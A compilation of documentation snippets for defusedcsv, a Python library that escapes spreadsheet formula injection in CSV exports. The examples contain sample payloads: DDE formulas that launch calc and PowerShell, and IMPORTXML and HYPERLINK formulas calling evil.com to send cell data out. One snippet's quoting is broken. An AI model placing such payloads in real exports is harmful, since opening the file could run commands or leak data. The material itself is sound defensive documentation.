### Writing Sanitized CSV Rows with DefusedCSV

Source: https://context7.com/raphaelm/defusedcsv/llms.txt

Demonstrates how to use the library to write dictionary-based rows to a CSV. Malicious payloads starting with dangerous characters are automatically escaped to prevent spreadsheet execution.

```python
writer.writerow({
    'username': 'alice',
    'email': 'alice@example.com',
    'bio': 'Software developer'
})
writer.writerow({
    'username': 'mallory',
    'email': 'mallory@example.com',
    'bio': '=cmd|\' /C calc\'!A0'
})
```

--------------------------------

### Write single rows with automatic escaping

Source: https://context7.com/raphaelm/defusedcsv/llms.txt

Uses the writerow method to write individual rows to a CSV. It automatically applies escaping to fields starting with dangerous characters while preserving valid numeric data.

```python
from io import StringIO
from defusedcsv import csv

output = StringIO()
writer = csv.writer(output)

# Safe data passes through unchanged
writer.writerow(['Product', 'Price', 'Quantity'])
writer.writerow(['Widget', '19.99', '100'])

# Dangerous payloads are automatically escaped
writer.writerow(['Gadget', '+1+1', '50'])
writer.writerow(['Tool', '|formula', '25'])
writer.writerow(['Part', '%macro', '75'])

# Numeric strings that look like formulas but are valid numbers are preserved
writer.writerow(['Item', '-19.99', '10'])

output.seek(0)
print(output.read())
```

--------------------------------

### Create CSV writer with defusedcsv

Source: https://context7.com/raphaelm/defusedcsv/llms.txt

Demonstrates initializing a CSV writer using defusedcsv.csv.writer, which acts as a secure replacement for the standard library, automatically sanitizing dangerous payloads like formula injections.

```python
from io import StringIO
from defusedcsv import csv

# Create a CSV writer with custom delimiter and quoting
output = StringIO()
writer = csv.writer(output, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)

# Write rows containing potentially dangerous payloads
writer.writerow(['Name', 'Email', 'Notes'])
writer.writerow(['Alice', 'alice@example.com', 'Regular user'])
writer.writerow(['Bob', 'bob@example.com', '=SUM(A1:A10)'])
writer.writerow(['Charlie', 'charlie@example.com', '@SUM(1+1)*cmd|' /C calc'!A0'])
writer.writerow(['Dave', 'dave@example.com', '-2+3+cmd|' /C powershell'!A0'])

output.seek(0)
print(output.read())
```

--------------------------------

### Drop-in Replacement for Python CSV Module

Source: https://context7.com/raphaelm/defusedcsv/llms.txt

Shows the ease of integration by replacing the standard csv import. The library supports all standard features like DictReader, Sniffer, and dialect management while adding security.

```python
from defusedcsv import csv

with open('export.csv', 'w', newline='') as f:
    writer = csv.writer(f)
    writer.writerow(['Name', 'User Input'])
    writer.writerow(['User1', '=IMPORTXML("http://evil.com", "//a")'])
```

--------------------------------

### Write dictionary-based CSV with DictWriter

Source: https://context7.com/raphaelm/defusedcsv/llms.txt

Implements the DictWriter class to map dictionary keys to CSV headers, maintaining the standard interface while enforcing security sanitization on all values.

```python
from io import StringIO
from defusedcsv import csv

output = StringIO()
fieldnames = ['username', 'email', 'bio']
writer = csv.DictWriter(output, fieldnames=fieldnames)

# Write header row
writer.writeheader()
```

--------------------------------

### Replace standard csv module with defusedcsv

Source: https://github.com/raphaelm/defusedcsv/blob/master/README.rst

To use defusedcsv, replace the standard library import statement with the defusedcsv module. This provides a drop-in replacement that automatically sanitizes CSV cell content to prevent injection attacks.

```python
from defusedcsv import csv

# Use the csv module as you normally would
with open('output.csv', 'w', newline='') as f:
    writer = csv.writer(f)
    writer.writerow(['=SUM(1+1)', 'normal data'])
```

--------------------------------

### Batch write rows with writerows

Source: https://context7.com/raphaelm/defusedcsv/llms.txt

Efficiently writes multiple rows at once using writerows, ensuring all fields across the dataset are sanitized against injection attacks.

```python
from io import StringIO
from defusedcsv import csv

output = StringIO()
writer = csv.writer(output)

# Batch write multiple rows with mixed safe and dangerous content
rows = [
    ['ID', 'Formula', 'Description'],
    [1, '=1+1', 'Addition formula'],
    [2, '-1+1', 'Subtraction attempt'],
    [3, '@A3', 'Cell reference'],
    [4, '=HYPERLINK("http://evil.com?data="&A1,"Click here")', 'Data exfiltration attempt'],
    [5, 'Safe content', 'No escaping needed']
]

writer.writerows(rows)

output.seek(0)
print(output.read())
```

--------------------------------

### Manual Sanitization with _escape

Source: https://context7.com/raphaelm/defusedcsv/llms.txt

Utilizes the internal _escape function to sanitize specific strings. It preserves safe data types like numbers and booleans while prefixing dangerous characters with a single quote.

```python
from defusedcsv.csv import _escape

print(_escape("=1+1"))            # '=1+1
print(_escape("@A3"))              # '@A3
print(_escape("=cmd|' /C calc'!A0"))  # '=cmd\|' /C calc'!A0
```

=== COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.